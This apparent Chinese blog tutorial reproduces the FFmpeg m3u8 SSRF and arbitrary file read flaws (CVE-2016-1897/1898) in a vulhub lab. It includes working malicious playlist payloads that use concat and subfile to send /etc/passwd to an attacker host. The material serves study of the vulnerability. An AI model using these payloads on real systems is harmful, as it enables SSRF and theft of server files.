溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

ffmpeg任意文件讀取漏洞SSRF的示例分析

發(fā)布時間:2021-12-29 17:54:01 來源:億速云 閱讀:507 作者:小新 欄目:網(wǎng)絡管理

小編給大家分享一下ffmpeg任意文件讀取漏洞SSRF的示例分析,相信大部分人都還不怎么了解,因此分享這篇文章給大家參考一下,希望大家閱讀完這篇文章后大有收獲,下面讓我們一起去了解一下吧!

僅供參考學習使用

ffmpeg 任意文件讀取漏洞 / SSRF 漏洞 (CVE-2016-1897/CVE-2016-1898)

Port : 8090

FFmpeg 是一套可以用來記錄、轉(zhuǎn)換數(shù)字音頻、視頻,并能將其轉(zhuǎn)化為流的開源計算機程序。功能非常強大,是每個視頻網(wǎng)站必不可少的多媒體文件處理程序。


在 FFMpeg2.X 由于在解析 HTTP Live Streaming 流媒體 m3u8 文件處理不當,可導致 SSRF 漏洞與任意文件讀取漏洞。當網(wǎng)站允許用戶上傳多媒體文件,并使用 FFMpeg 進行處理時會觸發(fā)該漏洞。


這個漏洞有兩個 CVE 編號,分別是 CVE-2016-1897 和 CVE-2016-1898,它們兩個的區(qū)別在于讀取文件的行數(shù),CVE-2016-1897 只能讀取文件的第一行,而 CVE-2016-1898 可以讀取文件任意行,原理基本一樣。

影響版本

FFmpeg 2.8.x < 2.8.5
FFmpeg 2.7.x < 2.7.5
FFmpeg 2.6.x < 2.6.7
FFmpeg 2.5.x < 2.5.10

這個漏洞主要涉及 ffmpeg 對 m3u8文件的處理不當導致的,具體的原理部分不過多贅述,可以參考如下連接:

原理

  • http://blog.neargle.com/SecNewsBak/drops/CVE-2016-1897.8%20-%20FFMpeg%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90.html

  • http://xdxd.love/2016/01/18/ffmpeg-SSRF%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/

  • https://habr.com/en/company/mailru/blog/274855/

漏洞環(huán)境

如下測試環(huán)境借助 vulhub 的 docker 鏡像,附上 P 師傅的鏈接:https://github.com/vulhub/vulhub

運行測試環(huán)境:

docker-compose  up  -d

運行完成后,訪問對應的 URL 端口,可以看到有個視頻上傳的接口ffmpeg任意文件讀取漏洞SSRF的示例分析

查看后臺的 php 源碼,實際上只是借用了 ffmpeg -i 這個命令,因此實際上如果沒有部署 docker 鏡像,可以之際安裝 ffmpeg 軟件,通過 ffmpeg 轉(zhuǎn)換即可。

<?php
if(!empty($_FILES)) {
    $filename = escapeshellarg($_FILES['file']['tmp_name']);
    $newname = './' . uniqid() . '.mp4';
    shell_exec("ffmpeg -i $filename $newname");
}
?>

漏洞復現(xiàn)

我們首先構(gòu)造一個惡意的 m3u8 的文件(用記事本編寫,保存為.m3u8后綴):

#EXTM3U
 #EXT-X-MEDIA-SEQUENCE:0
 #EXTINF:10.0,
 http://X.X.X.X:9999/test.txt
 #EXT-X-ENDLIST
各參數(shù)說明: 
#EXTM3U 標簽是 m3u8 的文件頭,開頭必須要這一行
#EXT-X-MEDIA-SEQUENCE 表示每一個media URI 在 PlayList中只有唯一的序號,相鄰之間序號+1
#EXTINF:10.0, 表示該一段 TS 流文件的長度
#EXT-X-ENDLIST 這個相當于文件結(jié)束符

這些是 m3u8 的最基本的標簽,而問題就出在 FFMpeg 去請求 TS 流文件(URL)時,F(xiàn)FMpeg 不會判斷里面的流地址,直接請求。服務端監(jiān)聽端口:

ffmpeg任意文件讀取漏洞SSRF的示例分析

既然可以請求外部數(shù)據(jù),因此可以嘗試 SSRF 帶外。通過查閱資料,發(fā)現(xiàn) ffmpeg 內(nèi)部有一個 concat 函數(shù),因此我們可以將內(nèi)部數(shù)據(jù)通過 concat 拼接 OOB。ffmpeg任意文件讀取漏洞SSRF的示例分析

如果直接使用 concat 拼接,只會正常請求,因此我們需要一些小技巧,將本地文件帶出來。

  • 首先,我們需要在 web 服務器上創(chuàng)建一個 error.txt,文件內(nèi)容是 m3u8 的格式,其中不包含文件結(jié)束符。

  • 其次,我們再創(chuàng)建一個惡意的 m3u8 文件(或者 avi、mp4 等后綴),文件內(nèi)容通過 concat 拼接本地文件 /etc/passwd。

  • 最后,我們上傳這個惡意的 m3u8 文件。參考文件內(nèi)容如下:

error.txt

#EXTM3U
 #EXT-X-MEDIA-SEQUENCE:0
 #EXTINF:,
 http://X.X.X.X:9999/?

upload.m3u8

#EXTM3U
 #EXT-X-TARGETDURATION:6
 #EXTINF:10.0,
 concat:http://X.X.X.X:8989/error.txt|file:///etc/passwd
 #EXT-X-ENDLIST

web 服務器部署 error.txt:

ffmpeg任意文件讀取漏洞SSRF的示例分析

上傳惡意的 m3u8 文件:

ffmpeg任意文件讀取漏洞SSRF的示例分析

同時,VPS 監(jiān)聽 9999 端口:

ffmpeg任意文件讀取漏洞SSRF的示例分析

注意:

  • 以上的文件需要使用記事本編輯保存,選擇默認 utf-8 格式。嘗試使用 vim 創(chuàng)建時,一直復現(xiàn)失敗。

  • 特地鳴謝如下鏈接作者提供的解決方案https://blog.safebuff.com/2016/05/12/CVE-2016-1897-8-FFMpeg%E6%BC%8F%E6%B4%9E%E5%BA%94%E6%80%A5%E5%88%86%E6%9E%90/

  • 因為上傳之后,后端會一直進行轉(zhuǎn)碼,進程會卡死,頁面無響應。需要進入 docker 中,手動 kill ffmpeg 進程。

ffmpeg任意文件讀取漏洞SSRF的示例分析

可以發(fā)現(xiàn)以上的操作方式,只能將 /etc/passwd 數(shù)據(jù)中的第一行帶外出來,但是后面的內(nèi)容還是沒有讀出來,因此我們借助其他函數(shù)進行進一步利用。ffmpeg 還提供了 subfile 函數(shù),其中 Start 后是開始截取的偏移量,以字節(jié)為單位,end 是結(jié)束的偏移量。

ffmpeg任意文件讀取漏洞SSRF的示例分析

只需要修改惡意的 upload.m3u8 文件

#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
concat:http://47.99.191.76:8989/error.txt|subfile,,start,0,end,31,,:///etc/passwd|subfile,,start,32,end,79,,:///etc/passwd
#EXT-X-ENDLIST

在逐漸增加 subfile 偏移量的測試過程中,發(fā)現(xiàn)超過一定長度后,數(shù)據(jù)讀取部分不再增加。猜測可能和 URL 長度或者和換行符有關(guān)。ffmpeg任意文件讀取漏洞SSRF的示例分析

ffmpeg任意文件讀取漏洞SSRF的示例分析

在不斷測試的過程中,最終發(fā)現(xiàn),與 URL 長度,m3u8 請求 URL 都無關(guān)系,也沒有 32 字節(jié)的限制。實際上 concat 連接 URL 時是不能包含換行符的。/etc/passwd 文件存儲過程中換行符 \n 是占一個字符的,所以無論是通過 file 協(xié)議,還是 subfile 切片,只要是讀取到 \n 則中斷,后面的內(nèi)容無法輸出。

按照這個思路,我們能只需要通過 subfile 讀取文件時,跳過 \n 符號,不斷根據(jù)返回的數(shù)據(jù)進行調(diào)試,最終可以讀取到完整的數(shù)據(jù)。以如下的 /etc/passwd 的文件為例,附上 payload 參考:

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/bin/false
messagebus:x:101:101::/var/run/dbus:/bin/false
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
concat:http://47.99.191.76:8989/error.txt|subfile,,start,0,end,31,,:///etc/passwd|subfile,,start,32,end,79,,:///etc/passwd|subfile,,start,80,end,116,,:///etc/passwd|subfile,,start,117,end,153,,:///etc/passwd|subfile,,start,154,end,188,,:///etc/passwd|subfile,,start,189,end,236,,:///etc/passwd|subfile,,start,237,end,284,,:///etc/passwd|subfile,,start,285,end,329,,:///etc/passwd|subfile,,start,330,end,373,,:///etc/passwd|subfile,,start,374,end,423,,:///etc/passwd|subfile,,start,424,end,475,,:///etc/passwd|subfile,,start,476,end,518,,:///etc/passwd|subfile,,start,519,end,571,,:///etc/passwd|subfile,,start,572,end,624,,:///etc/passwd|subfile,,start,625,end,686,,:///etc/passwd|subfile,,start,687,end,735,,:///etc/passwd|subfile,,start,736,end,817,,:///etc/passwd|subfile,,start,818,end,876,,:///etc/passwd|subfile,,start,877,end,918,,:///etc/passwd|subfile,,start,919,end,965,,:///etc/passwd
#EXT-X-ENDLIST

最終讀出所有數(shù)據(jù):

ffmpeg任意文件讀取漏洞SSRF的示例分析

以上是“ffmpeg任意文件讀取漏洞SSRF的示例分析”這篇文章的所有內(nèi)容,感謝各位的閱讀!相信大家都有了一定的了解,希望分享的內(nèi)容對大家有所幫助,如果還想學習更多知識,歡迎關(guān)注億速云行業(yè)資訊頻道!

向AI問一下細節(jié)

免責聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進行舉報,并提供相關(guān)證據(jù),一經(jīng)查實,將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI